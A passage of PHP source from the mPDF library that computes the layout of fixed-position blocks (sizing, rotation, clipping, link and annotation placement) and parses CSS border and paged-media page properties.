$cont_w, $this->FontSize, false); } else { $inner_w = 'auto'; } if (isset($p['HEIGHT']) && strtolower($p['HEIGHT']) != 'auto') { $inner_h = $this->sizeConverter->convert($p['HEIGHT'], $cont_h, $this->FontSize, false); } else { $inner_h = 'auto'; } // If bottom or right pos are set and not left / top - save this to adjust rotated block later if ($rotate == 90 || $rotate == -90) { // mPDF 6 if ($bbox_left === 'auto' && $bbox_right !== 'auto') { $rot_rpos = $bbox_right; } else { $rot_rpos = false; } if ($bbox_top === 'auto' && $bbox_bottom !== 'auto') { $rot_bpos = $bbox_bottom; } else { $rot_bpos = false; } } // ================================================================ if ($checkinnerhtml == '' && $inner_h === 'auto') { $inner_h = 0.0001; } if ($checkinnerhtml == '' && $inner_w === 'auto') { $inner_w = 2 * $this->GetCharWidth('W', false); } // ================================================================ // Algorithm from CSS2.1 See http://www.w3.org/TR/CSS21/visudet.html#abs-non-replaced-height // mPD 5.3.14 // Special case (not CSS) if all not specified, centre vertically on page $bbox_top_orig = ''; if ($bbox_top === 'auto' && $inner_h === 'auto' && $bbox_bottom === 'auto' && $bbox_mt === 'auto' && $bbox_mb === 'auto') { $bbox_top_orig = $bbox_top; if ($bbox_mt === 'auto') { $bbox_mt = 0; } if ($bbox_mb === 'auto') { $bbox_mb = 0; } $bbox_top = $orig_y0 - $bbox_mt - $cont_y; // solve for $bbox_bottom when content_h known - $inner_h=='auto' && $bbox_bottom=='auto' } // mPD 5.3.14 elseif ($bbox_top === 'auto' && $inner_h === 'auto' && $bbox_bottom === 'auto') { $bbox_top_orig = $bbox_top = $orig_y0 - $cont_y; if ($bbox_mt === 'auto') { $bbox_mt = 0; } if ($bbox_mb === 'auto') { $bbox_mb = 0; } // solve for $bbox_bottom when content_h known - $inner_h=='auto' && $bbox_bottom=='auto' } elseif ($bbox_top !== 'auto' && $inner_h !== 'auto' && $bbox_bottom !== 'auto') { if ($bbox_mt === 'auto' && $bbox_mb === 'auto') { $x = $cont_h - $bbox_top - $bbox_bt - $bbox_pt - $inner_h - $bbox_pb - $bbox_bb - $bbox_bottom; $bbox_mt = $bbox_mb = ($x / 2); } elseif ($bbox_mt === 'auto') { $bbox_mt = $cont_h - $bbox_top - $bbox_bt - $bbox_pt - $inner_h - $bbox_pb - $bbox_bb - $bbox_mb - $bbox_bottom; } elseif ($bbox_mb === 'auto') { $bbox_mb = $cont_h - $bbox_top - $bbox_mt - $bbox_bt - $bbox_pt - $inner_h - $bbox_pb - $bbox_bb - $bbox_bottom; } else { $bbox_bottom = $cont_h - $bbox_top - $bbox_mt - $bbox_bt - $bbox_pt - $inner_h - $bbox_pb - $bbox_bb - $bbox_mt; } } else { if ($bbox_mt === 'auto') { $bbox_mt = 0; } if ($bbox_mb === 'auto') { $bbox_mb = 0; } if ($bbox_top === 'auto' && $inner_h === 'auto' && $bbox_bottom !== 'auto') { // solve for $bbox_top when content_h known - $inner_h=='auto' && $bbox_top =='auto' } elseif ($bbox_top === 'auto' && $bbox_bottom === 'auto' && $inner_h !== 'auto') { $bbox_top = $orig_y0 - $bbox_mt - $cont_y; $bbox_bottom = $cont_h - $bbox_top - $bbox_mt - $bbox_bt - $bbox_pt - $inner_h - $bbox_pb - $bbox_bb - $bbox_mt; } elseif ($inner_h === 'auto' && $bbox_bottom === 'auto' && $bbox_top !== 'auto') { // solve for $bbox_bottom when content_h known - $inner_h=='auto' && $bbox_bottom=='auto' } elseif ($bbox_top === 'auto' && $inner_h !== 'auto' && $bbox_bottom !== 'auto') { $bbox_top = $cont_h - $bbox_mt - $bbox_bt - $bbox_pt - $inner_h - $bbox_pb - $bbox_bb - $bbox_mt - $bbox_bottom; } elseif ($inner_h === 'auto' && $bbox_top !== 'auto' && $bbox_bottom !== 'auto') { $inner_h = $cont_h - $bbox_top - $bbox_mt - $bbox_bt - $bbox_pt - $bbox_pb - $bbox_bb - $bbox_mt - $bbox_bottom; } elseif ($bbox_bottom === 'auto' && $bbox_top !== 'auto' && $inner_h !== 'auto') { $bbox_bottom = $cont_h - $bbox_top - $bbox_mt - $bbox_bt - $bbox_pt - $inner_h - $bbox_pb - $bbox_bb - $bbox_mt; } } // THEN DO SAME FOR WIDTH // http://www.w3.org/TR/CSS21/visudet.html#abs-non-replaced-width if ($bbox_left === 'auto' && $inner_w === 'auto' && $bbox_right === 'auto') { if ($bbox_ml === 'auto') { $bbox_ml = 0; } if ($bbox_mr === 'auto') { $bbox_mr = 0; } // IF containing element RTL, should set $bbox_right $bbox_left = $orig_x0 - $bbox_ml - $cont_x; // solve for $bbox_right when content_w known - $inner_w=='auto' && $bbox_right=='auto' } elseif ($bbox_left !== 'auto' && $inner_w !== 'auto' && $bbox_right !== 'auto') { if ($bbox_ml === 'auto' && $bbox_mr === 'auto') { $x = $cont_w - $bbox_left - $bbox_bl - $bbox_pl - $inner_w - $bbox_pr - $bbox_br - $bbox_right; $bbox_ml = $bbox_mr = ($x / 2); } elseif ($bbox_ml === 'auto') { $bbox_ml = $cont_w - $bbox_left - $bbox_bl - $bbox_pl - $inner_w - $bbox_pr - $bbox_br - $bbox_mr - $bbox_right; } elseif ($bbox_mr === 'auto') { $bbox_mr = $cont_w - $bbox_left - $bbox_ml - $bbox_bl - $bbox_pl - $inner_w - $bbox_pr - $bbox_br - $bbox_right; } else { $bbox_right = $cont_w - $bbox_left - $bbox_ml - $bbox_bl - $bbox_pl - $inner_w - $bbox_pr - $bbox_br - $bbox_ml; } } else { if ($bbox_ml === 'auto') { $bbox_ml = 0; } if ($bbox_mr === 'auto') { $bbox_mr = 0; } if ($bbox_left === 'auto' && $inner_w === 'auto' && $bbox_right !== 'auto') { // solve for $bbox_left when content_w known - $inner_w=='auto' && $bbox_left =='auto' } elseif ($bbox_left === 'auto' && $bbox_right === 'auto' && $inner_w !== 'auto') { // IF containing element RTL, should set $bbox_right $bbox_left = $orig_x0 - $bbox_ml - $cont_x; $bbox_right = $cont_w - $bbox_left - $bbox_ml - $bbox_bl - $bbox_pl - $inner_w - $bbox_pr - $bbox_br - $bbox_ml; } elseif ($inner_w === 'auto' && $bbox_right === 'auto' && $bbox_left !== 'auto') { // solve for $bbox_right when content_w known - $inner_w=='auto' && $bbox_right=='auto' } elseif ($bbox_left === 'auto' && $inner_w !== 'auto' && $bbox_right !== 'auto') { $bbox_left = $cont_w - $bbox_ml - $bbox_bl - $bbox_pl - $inner_w - $bbox_pr - $bbox_br - $bbox_ml - $bbox_right; } elseif ($inner_w === 'auto' && $bbox_left !== 'auto' && $bbox_right !== 'auto') { $inner_w = $cont_w - $bbox_left - $bbox_ml - $bbox_bl - $bbox_pl - $bbox_pr - $bbox_br - $bbox_ml - $bbox_right; } elseif ($bbox_right === 'auto' && $bbox_left !== 'auto' && $inner_w !== 'auto') { $bbox_right = $cont_w - $bbox_left - $bbox_ml - $bbox_bl - $bbox_pl - $inner_w - $bbox_pr - $bbox_br - $bbox_ml; } } // ================================================================ // ================================================================ /* -- BACKGROUNDS -- */ if (isset($pb['BACKGROUND-IMAGE']) && $pb['BACKGROUND-IMAGE']) { $ret = $this->SetBackground($pb, $this->blk[1]['inner_width']); if ($ret) { $this->blk[1]['background-image'] = $ret; } } /* -- END BACKGROUNDS -- */ $bbox_top_auto = $bbox_top === 'auto'; $bbox_left_auto = $bbox_left === 'auto'; $bbox_right_auto = $bbox_right === 'auto'; $bbox_bottom_auto = $bbox_bottom === 'auto'; $bbox_top = is_numeric($bbox_top) ? $bbox_top : 0; $bbox_left = is_numeric($bbox_left) ? $bbox_left : 0; $bbox_right = is_numeric($bbox_right) ? $bbox_right : 0; $bbox_bottom = is_numeric($bbox_bottom) ? $bbox_bottom : 0; $y = $cont_y + $bbox_top + $bbox_mt + $bbox_bt + $bbox_pt; $h = $cont_h - $bbox_top - $bbox_mt - $bbox_bt - $bbox_pt - $bbox_pb - $bbox_bb - $bbox_mb - $bbox_bottom; $x = $cont_x + $bbox_left + $bbox_ml + $bbox_bl + $bbox_pl; $w = $cont_w - $bbox_left - $bbox_ml - $bbox_bl - $bbox_pl - $bbox_pr - $bbox_br - $bbox_mr - $bbox_right; // Set (temporary) values for x y w h to do first paint, if values are auto if ($inner_h === 'auto' && $bbox_top_auto) { $y = $cont_y + $bbox_mt + $bbox_bt + $bbox_pt; $h = $cont_h - ($bbox_bottom + $bbox_mt + $bbox_mb + $bbox_bt + $bbox_bb + $bbox_pt + $bbox_pb); } elseif ($inner_h === 'auto' && $bbox_bottom_auto) { $y = $cont_y + $bbox_top + $bbox_mt + $bbox_bt + $bbox_pt; $h = $cont_h - ($bbox_top + $bbox_mt + $bbox_mb + $bbox_bt + $bbox_bb + $bbox_pt + $bbox_pb); } if ($inner_w === 'auto' && $bbox_left_auto) { $x = $cont_x + $bbox_ml + $bbox_bl + $bbox_pl; $w = $cont_w - ($bbox_right + $bbox_ml + $bbox_mr + $bbox_bl + $bbox_br + $bbox_pl + $bbox_pr); } elseif ($inner_w === 'auto' && $bbox_right_auto) { $x = $cont_x + $bbox_left + $bbox_ml + $bbox_bl + $bbox_pl; $w = $cont_w - ($bbox_left + $bbox_ml + $bbox_mr + $bbox_bl + $bbox_br + $bbox_pl + $bbox_pr); } $bbox_y = $cont_y + $bbox_top + $bbox_mt; $bbox_x = $cont_x + $bbox_left + $bbox_ml; $saved_block1 = $this->blk[1]; unset($p); unset($pb); // ================================================================ if ($inner_w === 'auto') { // do a first write $this->lMargin = $x; $this->rMargin = $this->w - $w - $x; // SET POSITION & FONT VALUES $this->pgwidth = $this->w - $this->lMargin - $this->rMargin; $this->pageoutput[$this->page] = []; $this->x = $x; $this->y = $y; $this->HTMLheaderPageLinks = []; $this->HTMLheaderPageAnnots = []; $this->HTMLheaderPageForms = []; $this->pageBackgrounds = []; $this->maxPosR = 0; $this->maxPosL = $this->w; // For RTL $this->WriteHTML($html, HTMLParserMode::HTML_HEADER_BUFFER); $inner_w = $this->maxPosR - $this->lMargin; if ($bbox_right_auto) { $bbox_right = $cont_w - $bbox_left - $bbox_ml - $bbox_bl - $bbox_pl - $inner_w - $bbox_pr - $bbox_br - $bbox_ml; } elseif ($bbox_left_auto) { $bbox_left = $cont_w - $bbox_ml - $bbox_bl - $bbox_pl - $inner_w - $bbox_pr - $bbox_br - $bbox_ml - $bbox_right; $bbox_x = $cont_x + $bbox_left + $bbox_ml; $inner_x = $bbox_x + $bbox_bl + $bbox_pl; $x = $inner_x; } $w = $inner_w; $bbox_y = $cont_y + $bbox_top + $bbox_mt; $bbox_x = $cont_x + $bbox_left + $bbox_ml; } if ($inner_h === 'auto') { // do a first write $this->lMargin = $x; $this->rMargin = $this->w - $w - $x; // SET POSITION & FONT VALUES $this->pgwidth = $this->w - $this->lMargin - $this->rMargin; $this->pageoutput[$this->page] = []; $this->x = $x; $this->y = $y; $this->HTMLheaderPageLinks = []; $this->HTMLheaderPageAnnots = []; $this->HTMLheaderPageForms = []; $this->pageBackgrounds = []; $this->WriteHTML($html, HTMLParserMode::HTML_HEADER_BUFFER); $inner_h = $this->y - $y; if ($overflow != 'hidden' && $overflow != 'visible') { // constrained if (($this->y + $bbox_pb + $bbox_bb) > ($cont_y + $cont_h)) { $adj = ($this->y + $bbox_pb + $bbox_bb) - ($cont_y + $cont_h); $inner_h -= $adj; } } if ($bbox_bottom_auto && $bbox_top_orig === 'auto') { $bbox_bottom = $bbox_top = ($cont_h - $bbox_mt - $bbox_bt - $bbox_pt - $inner_h - $bbox_pb - $bbox_bb - $bbox_mb) / 2; if ($overflow != 'hidden' && $overflow != 'visible') { // constrained if ($bbox_top < 0) { $bbox_top = 0; $inner_h = $cont_h - $bbox_top - $bbox_mt - $bbox_bt - $bbox_pt - $bbox_pb - $bbox_bb - $bbox_mb - $bbox_bottom; } } $bbox_y = $cont_y + $bbox_top + $bbox_mt; $inner_y = $bbox_y + $bbox_bt + $bbox_pt; $y = $inner_y; } elseif ($bbox_bottom_auto) { $bbox_bottom = $cont_h - $bbox_top - $bbox_mt - $bbox_bt - $bbox_pt - $inner_h - $bbox_pb - $bbox_bb - $bbox_mb; } elseif ($bbox_top_auto) { $bbox_top = $cont_h - $bbox_mt - $bbox_bt - $bbox_pt - $inner_h - $bbox_pb - $bbox_bb - $bbox_mb - $bbox_bottom; if ($overflow != 'hidden' && $overflow != 'visible') { // constrained if ($bbox_top < 0) { $bbox_top = 0; $inner_h = $cont_h - $bbox_top - $bbox_mt - $bbox_bt - $bbox_pt - $bbox_pb - $bbox_bb - $bbox_mb - $bbox_bottom; } } $bbox_y = $cont_y + $bbox_top + $bbox_mt; $inner_y = $bbox_y + $bbox_bt + $bbox_pt; $y = $inner_y; } $h = $inner_h; $bbox_y = $cont_y + $bbox_top + $bbox_mt; $bbox_x = $cont_x + $bbox_left + $bbox_ml; } $inner_w = $w; $inner_h = $h; } $this->lMargin = $x; $this->rMargin = $this->w - $w - $x; // SET POSITION & FONT VALUES $this->pgwidth = $this->w - $this->lMargin - $this->rMargin; $this->pageoutput[$this->page] = []; $this->x = $x; $this->y = $y; $this->HTMLheaderPageLinks = []; $this->HTMLheaderPageAnnots = []; $this->HTMLheaderPageForms = []; $this->pageBackgrounds = []; $this->WriteHTML($html, HTMLParserMode::HTML_HEADER_BUFFER); $actual_h = $this->y - $y; $use_w = $w; $use_h = $h; $ratio = $actual_h / $use_w; if ($overflow != 'hidden' && $overflow != 'visible') { $target = $h / $w; if ($target > 0) { if (($ratio / $target) > 1) { $nl = ceil($actual_h / $this->lineheight); $l = $use_w * $nl; $est_w = sqrt(($l * $this->lineheight) / $target) * 0.8; $use_w += ($est_w - $use_w) - ($w / 100); } $bpcstart = ($ratio / $target); $bpcctr = 1; while (($ratio / $target) > 1) { // @log 'Auto-sizing fixed-position block $bpcctr++ $this->x = $x; $this->y = $y; if (($ratio / $target) > 1.5 || ($ratio / $target) < 0.6) { $use_w += ($w / $this->incrementFPR1); } elseif (($ratio / $target) > 1.2 || ($ratio / $target) < 0.85) { $use_w += ($w / $this->incrementFPR2); } elseif (($ratio / $target) > 1.1 || ($ratio / $target) < 0.91) { $use_w += ($w / $this->incrementFPR3); } else { $use_w += ($w / $this->incrementFPR4); } $use_h = $use_w * $target; $this->rMargin = $this->w - $use_w - $x; $this->pgwidth = $this->w - $this->lMargin - $this->rMargin; $this->HTMLheaderPageLinks = []; $this->HTMLheaderPageAnnots = []; $this->HTMLheaderPageForms = []; $this->pageBackgrounds = []; $this->WriteHTML($html, HTMLParserMode::HTML_HEADER_BUFFER); $actual_h = $this->y - $y; $ratio = $actual_h / $use_w; } } } $shrink_f = $w / $use_w; // ================================================================ $this->pages[$this->page] .= '___BEFORE_BORDERS___'; $block_s = $this->PrintPageBackgrounds(); // Save to print later inside clipping path $this->pageBackgrounds = []; // ================================================================ if ($rotate == 90 || $rotate == -90) { // mPDF 6 $prerotw = $bbox_bl + $bbox_pl + $inner_w + $bbox_pr + $bbox_br; $preroth = $bbox_bt + $bbox_pt + $inner_h + $bbox_pb + $bbox_bb; $rot_start = " q\n"; if ($rotate == 90) { if ($rot_rpos !== false) { $adjw = $prerotw; } // width before rotation else { $adjw = $preroth; } // height before rotation if ($rot_bpos !== false) { $adjh = -$prerotw + $preroth; } else { $adjh = 0; } } else { if ($rot_rpos !== false) { $adjw = $prerotw - $preroth; } else { $adjw = 0; } if ($rot_bpos !== false) { $adjh = $preroth; } // height before rotation else { $adjh = $prerotw; } // width before rotation } $rot_start .= $this->transformTranslate($adjw, $adjh, true) . "\n"; $rot_start .= $this->transformRotate($rotate, $bbox_x, $bbox_y, true) . "\n"; $rot_end = " Q\n"; } elseif ($rotate == 180) { // mPDF 6 $rot_start = " q\n"; $rot_start .= $this->transformTranslate($bbox_bl + $bbox_pl + $inner_w + $bbox_pr + $bbox_br, $bbox_bt + $bbox_pt + $inner_h + $bbox_pb + $bbox_bb, true) . "\n"; $rot_start .= $this->transformRotate(180, $bbox_x, $bbox_y, true) . "\n"; $rot_end = " Q\n"; } else { $rot_start = ''; $rot_end = ''; } // ================================================================ if (!empty($bounding)) { // WHEN HEIGHT // BOTTOM EDGE IS KNOWN and $this->y is set to the bottom // Re-instate saved $this->blk[1] $this->blk[1] = $saved_block1; // These are only needed when painting border/background $this->blk[1]['width'] = $bbox_w = $cont_w - $bbox_left - $bbox_ml - $bbox_mr - $bbox_right; $this->blk[1]['x0'] = $bbox_x; $this->blk[1]['y0'] = $bbox_y; $this->blk[1]['startpage'] = $this->page; $this->blk[1]['y1'] = $bbox_y + $bbox_bt + $bbox_pt + $inner_h + $bbox_pb + $bbox_bb; $this->writer->write($rot_start); $this->PaintDivBB('', 0, 1); // Prints borders and sets backgrounds in $this->pageBackgrounds $this->writer->write($rot_end); } $s = $this->PrintPageBackgrounds(); $s = $rot_start . $s . $rot_end; $this->pages[$this->page] = preg_replace('/___BEFORE_BORDERS___/', "\n" . $s . "\n", $this->pages[$this->page]); $this->pageBackgrounds = []; $this->writer->write($rot_start); // Clipping Output if ($overflow == 'hidden') { // Bounding rectangle to clip $clip_y1 = $this->y; if (!empty($bounding) && ($this->y + $bbox_pb + $bbox_bb) > ($bbox_y + $bbox_bt + $bbox_pt + $inner_h + $bbox_pb + $bbox_bb )) { $clip_y1 = ($bbox_y + $bbox_bt + $bbox_pt + $inner_h + $bbox_pb + $bbox_bb ) - ($bbox_pb + $bbox_bb); } // $op = 'W* n'; // Clipping $op = 'W n'; // Clipping alternative mode $this->writer->write("q"); $ch = $clip_y1 - $y; $this->writer->write(sprintf('%.3F %.3F %.3F %.3F re %s', $x * Mpdf::SCALE, ($this->h - $y) * Mpdf::SCALE, $w * Mpdf::SCALE, -$ch * Mpdf::SCALE, $op)); if (!empty($block_s)) { $tmp = "q\n" . sprintf('%.3F %.3F %.3F %.3F re %s', $x * Mpdf::SCALE, ($this->h - $y) * Mpdf::SCALE, $w * Mpdf::SCALE, -$ch * Mpdf::SCALE, $op); $tmp .= "\n" . $block_s . "\nQ"; $block_s = $tmp; } } if (!empty($block_s)) { if ($shrink_f != 1) { // i.e. autofit has resized the box $tmp = "q\n" . $this->transformScale(($shrink_f * 100), ($shrink_f * 100), $x, $y, true); $tmp .= "\n" . $block_s . "\nQ"; $block_s = $tmp; } $this->writer->write($block_s); } if ($shrink_f != 1) { // i.e. autofit has resized the box $this->StartTransform(); $this->transformScale(($shrink_f * 100), ($shrink_f * 100), $x, $y); } $this->writer->write($this->headerbuffer); if ($shrink_f != 1) { // i.e. autofit has resized the box $this->StopTransform(); } if ($overflow == 'hidden') { // End clipping $this->writer->write("Q"); } $this->writer->write($rot_end); // Page Links foreach ($this->HTMLheaderPageLinks as $lk) { if ($rotate) { $tmp = $lk[2]; // Switch h - w $lk[2] = $lk[3]; $lk[3] = $tmp; $lx1 = (($lk[0] / Mpdf::SCALE)); $ly1 = (($this->h - ($lk[1] / Mpdf::SCALE))); if ($rotate == 90) { $adjx = -($lx1 - $bbox_x) + ($preroth - ($ly1 - $bbox_y)); $adjy = -($ly1 - $bbox_y) + ($lx1 - $bbox_x); $lk[2] = -$lk[2]; } elseif ($rotate == -90) { $adjx = -($lx1 - $bbox_x) + ($ly1 - $bbox_y); $adjy = -($ly1 - $bbox_y) - ($lx1 - $bbox_x) + $prerotw; $lk[3] = -$lk[3]; } if ($rot_rpos !== false) { $adjx += $prerotw - $preroth; } if ($rot_bpos !== false) { $adjy += $preroth - $prerotw; } $lx1 += $adjx; $ly1 += $adjy; $lk[0] = $lx1 * Mpdf::SCALE; $lk[1] = ($this->h - $ly1) * Mpdf::SCALE; } if ($shrink_f != 1) { // i.e. autofit has resized the box $lx1 = (($lk[0] / Mpdf::SCALE) - $x); $lx2 = $x + ($lx1 * $shrink_f); $lk[0] = $lx2 * Mpdf::SCALE; $ly1 = (($this->h - ($lk[1] / Mpdf::SCALE)) - $y); $ly2 = $y + ($ly1 * $shrink_f); $lk[1] = ($this->h - $ly2) * Mpdf::SCALE; $lk[2] *= $shrink_f; // width $lk[3] *= $shrink_f; // height } $this->PageLinks[$this->page][] = $lk; } foreach ($this->HTMLheaderPageForms as $n => $f) { if ($shrink_f != 1) { // i.e. autofit has resized the box $f['x'] = $x + (($f['x'] - $x) * $shrink_f); $f['y'] = $y + (($f['y'] - $y) * $shrink_f); $f['w'] *= $shrink_f; $f['h'] *= $shrink_f; $f['style']['fontsize'] *= $shrink_f; } $this->form->forms[$f['n']] = $f; } // Page Annotations foreach ($this->HTMLheaderPageAnnots as $lk) { if ($rotate) { if ($rotate == 90) { $adjx = -($lk['x'] - $bbox_x) + ($preroth - ($lk['y'] - $bbox_y)); $adjy = -($lk['y'] - $bbox_y) + ($lk['x'] - $bbox_x); } elseif ($rotate == -90) { $adjx = -($lk['x'] - $bbox_x) + ($lk['y'] - $bbox_y); $adjy = -($lk['y'] - $bbox_y) - ($lk['x'] - $bbox_x) + $prerotw; } if ($rot_rpos !== false) { $adjx += $prerotw - $preroth; } if ($rot_bpos !== false) { $adjy += $preroth - $prerotw; } $lk['x'] += $adjx; $lk['y'] += $adjy; } if ($shrink_f != 1) { // i.e. autofit has resized the box $lk['x'] = $x + (($lk['x'] - $x) * $shrink_f); $lk['y'] = $y + (($lk['y'] - $y) * $shrink_f); } $this->PageAnnots[$this->page][] = $lk; } // Restore $this->headerbuffer = ''; $this->HTMLheaderPageLinks = []; $this->HTMLheaderPageAnnots = []; $this->HTMLheaderPageForms = []; $this->pageBackgrounds = $save_bgs; $this->writingHTMLheader = false; $this->writingHTMLfooter = false; $this->fullImageHeight = false; $this->ResetMargins(); $this->pgwidth = $this->w - $this->lMargin - $this->rMargin; $this->SetXY($save_x, $save_y); $this->title2annots = $save_annots; // *ANNOTATIONS* $this->InFooter = false; // turns back on autopagebreaks $this->pageoutput[$this->page] = []; $this->pageoutput[$this->page]['Font'] = ''; /* -- COLUMNS -- */ if ($save_cols) { $this->SetColumns($save_nbcol, $this->colvAlign, $this->ColGap); } /* -- END COLUMNS -- */ } /* -- END CSS-POSITION -- */ function initialiseBlock(&$blk) { $blk['margin_top'] = 0; $blk['margin_left'] = 0; $blk['margin_bottom'] = 0; $blk['margin_right'] = 0; $blk['padding_top'] = 0; $blk['padding_left'] = 0; $blk['padding_bottom'] = 0; $blk['padding_right'] = 0; $blk['border_top']['w'] = 0; $blk['border_left']['w'] = 0; $blk['border_bottom']['w'] = 0; $blk['border_right']['w'] = 0; $blk['direction'] = 'ltr'; $blk['hide'] = false; $blk['outer_left_margin'] = 0; $blk['outer_right_margin'] = 0; $blk['cascadeCSS'] = []; $blk['block-align'] = false; $blk['bgcolor'] = false; $blk['page_break_after_avoid'] = false; $blk['keep_block_together'] = false; $blk['float'] = false; $blk['line_height'] = ''; $blk['margin_collapse'] = false; } function border_details($bd) { $prop = preg_split('/\s+/', trim($bd)); if (isset($this->blk[$this->blklvl]['inner_width'])) { $refw = $this->blk[$this->blklvl]['inner_width']; } elseif (isset($this->blk[$this->blklvl - 1]['inner_width'])) { $refw = $this->blk[$this->blklvl - 1]['inner_width']; } else { $refw = $this->w; } if (count($prop) == 1) { $bsize = $this->sizeConverter->convert($prop[0], $refw, $this->FontSize, false); if ($bsize > 0) { return ['s' => 1, 'w' => $bsize, 'c' => $this->colorConverter->convert(0, $this->PDFAXwarnings), 'style' => 'solid']; } else { return ['w' => 0, 's' => 0]; } } elseif (count($prop) == 2) { // 1px solid if (in_array($prop[1], $this->borderstyles) || $prop[1] == 'none' || $prop[1] == 'hidden') { $prop[2] = ''; } // solid #000000 elseif (in_array($prop[0], $this->borderstyles) || $prop[0] == 'none' || $prop[0] == 'hidden') { $prop[0] = ''; $prop[1] = $prop[0]; $prop[2] = $prop[1]; } // 1px #000000 else { $prop[1] = ''; $prop[2] = $prop[1]; } } elseif (count($prop) == 3) { // Change #000000 1px solid to 1px solid #000000 (proper) if (substr($prop[0], 0, 1) == '#') { $tmp = $prop[0]; $prop[0] = $prop[1]; $prop[1] = $prop[2]; $prop[2] = $tmp; } // Change solid #000000 1px to 1px solid #000000 (proper) elseif (substr($prop[0], 1, 1) == '#') { $tmp = $prop[1]; $prop[0] = $prop[2]; $prop[1] = $prop[0]; $prop[2] = $tmp; } // Change solid 1px #000000 to 1px solid #000000 (proper) elseif (in_array($prop[0], $this->borderstyles) || $prop[0] == 'none' || $prop[0] == 'hidden') { $tmp = $prop[0]; $prop[0] = $prop[1]; $prop[1] = $tmp; } } else { return ['w' => 0, 's' => 0]; } // Size $bsize = $this->sizeConverter->convert($prop[0], $refw, $this->FontSize, false); // color $coul = $this->colorConverter->convert($prop[2], $this->PDFAXwarnings); // returns array // Style $prop[1] = strtolower($prop[1]); if (in_array($prop[1], $this->borderstyles) && $bsize > 0) { $on = 1; } elseif ($prop[1] == 'hidden') { $on = 1; $bsize = 0; $coul = ''; } elseif ($prop[1] == 'none') { $on = 0; $bsize = 0; $coul = ''; } else { $on = 0; $bsize = 0; $coul = ''; $prop[1] = ''; } return ['s' => $on, 'w' => $bsize, 'c' => $coul, 'style' => $prop[1], 'dom' => 0]; } /* -- END HTML-CSS -- */ /* -- BORDER-RADIUS -- */ function _borderPadding($a, $b, &$px, &$py) { // $px and py are padding long axis (x) and short axis (y) $added = 0; // extra padding $x = $a - $px; $y = $b - $py; // Check if Falls within ellipse of border radius if (( (($x + $added) * ($x + $added)) / ($a * $a) + (($y + $added) * ($y + $added)) / ($b * $b) ) <= 1) { return false; } $t = atan2($y, $x); $newx = $b / sqrt((($b * $b) / ($a * $a)) + ( tan($t) * tan($t) )); $newy = $a / sqrt((($a * $a) / ($b * $b)) + ( (1 / tan($t)) * (1 / tan($t)) )); $px = max($px, $a - $newx + $added); $py = max($py, $b - $newy + $added); } /* -- END BORDER-RADIUS -- */ /* -- HTML-CSS -- */ /* -- CSS-PAGE -- */ function SetPagedMediaCSS($name, $first, $oddEven) { if ($oddEven == 'E') { if ($this->directionality == 'rtl') { $side = 'R'; } else { $side = 'L'; } } else { if ($this->directionality == 'rtl') { $side = 'L'; } else { $side = 'R'; } } $name = strtoupper($name); $p = []; $p['SIZE'] = 'AUTO'; // Uses mPDF original margins as default $p['MARGIN-RIGHT'] = strval($this->orig_rMargin) . 'mm'; $p['MARGIN-LEFT'] = strval($this->orig_lMargin) . 'mm'; $p['MARGIN-TOP'] = strval($this->orig_tMargin) . 'mm'; $p['MARGIN-BOTTOM'] = strval($this->orig_bMargin) . 'mm'; $p['MARGIN-HEADER'] = strval($this->orig_hMargin) . 'mm'; $p['MARGIN-FOOTER'] = strval($this->orig_fMargin) . 'mm'; // Basic page + selector if (isset($this->cssManager->CSS['@PAGE'])) { $zp = $this->cssManager->CSS['@PAGE']; } else { $zp = []; } if (is_array($zp) && !empty($zp)) { $p = array_merge($p, $zp); } if (isset($p['EVEN-HEADER-NAME']) && $oddEven == 'E') { $p['HEADER'] = $p['EVEN-HEADER-NAME']; unset($p['EVEN-HEADER-NAME']); } if (isset($p['ODD-HEADER-NAME']) && $oddEven != 'E') { $p['HEADER'] = $p['ODD-HEADER-NAME']; unset($p['ODD-HEADER-NAME']); } if (isset($p['EVEN-FOOTER-NAME']) && $oddEven == 'E') { $p['FOOTER'] = $p['EVEN-FOOTER-NAME']; unset($p['EVEN-FOOTER-NAME']); } if (isset($p['ODD-FOOTER-NAME']) && $oddEven != 'E') { $p['FOOTER'] = $p['ODD-FOOTER-NAME']; unset($p['ODD-FOOTER-NAME']); } // If right/Odd page if (isset($this->cssManager->CSS['@PAGE>>PSEUDO>>RIGHT']) && $side == 'R') { $zp = $this->cssManager->CSS['@PAGE>>PSEUDO>>RIGHT']; } else { $zp = []; } if (isset($zp['SIZE'])) { unset($zp['SIZE']); } if (isset($zp['SHEET-SIZE'])) { unset($zp['SHEET-SIZE']); } // Disallow margin-left or -right on :LEFT or :RIGHT if (isset($zp['MARGIN-LEFT'])) { unset($zp['MARGIN-LEFT']); } if (isset($zp['MARGIN-RIGHT'])) { unset($zp['MARGIN-RIGHT']); } if (is_array($zp) && !empty($zp)) { $p = array_merge($p, $zp); } // If left/Even page if (isset($this->cssManager->CSS['@PAGE>>PSEUDO>>LEFT']) && $side == 'L') { $zp = $this->cssManager->CSS['@PAGE>>PSEUDO>>LEFT']; } else { $zp = []; } if (isset($zp['SIZE'])) { unset($zp['SIZE']); } if (isset($zp['SHEET-SIZE'])) { unset($zp['SHEET-SIZE']); } // Disallow margin-left or -right on :LEFT or :RIGHT if (isset($zp['MARGIN-LEFT'])) { unset($zp['MARGIN-LEFT']); } if (isset($zp['MARGIN-RIGHT'])) { unset($zp['MARGIN-RIGHT']); } if (is_array($zp) && !empty($zp)) { $p = array_merge($p, $zp); } // If first page if (isset($this->cssManager->CSS['@PAGE>>PSEUDO>>FIRST']) && $first) { $zp = $this->cssManager->CSS['@PAGE>>PSEUDO>>FIRST']; } else { $zp = []; } if (isset($zp['SIZE'])) { unset($zp['SIZE']); } if (isset($zp['SHEET-SIZE'])) { unset($zp['SHEET-SIZE']); } // Disallow margin-left or -right on :FIRST // mPDF 5.7.3 if (isset($zp['MARGIN-LEFT'])) { unset($zp['MARGIN-LEFT']); } if (isset($zp['MARGIN-RIGHT'])) { unset($zp['MARGIN-RIGHT']); } if (is_array($zp) && !empty($zp)) { $p = array_merge($p, $zp); } // If named page if ($name) { if (isset($this->cssManager->CSS['@PAGE>>NAMED>>' . $name])) { $zp = $this->cssManager->CSS['@PAGE>>NAMED>>' . $name]; } else { $zp = []; } if (is_array($zp) && !empty($zp)) { $p = array_merge($p, $zp); } if (isset($p['EVEN-HEADER-NAME']) && $oddEven == 'E') { $p['HEADER'] = $p['EVEN-HEADER-NAME']; unset($p['EVEN-HEADER-NAME']); } if (isset($p['ODD-HEADER-NAME']) && $oddEven != 'E') { $p['HEADER'] = $p['ODD-HEADER-NAME']; 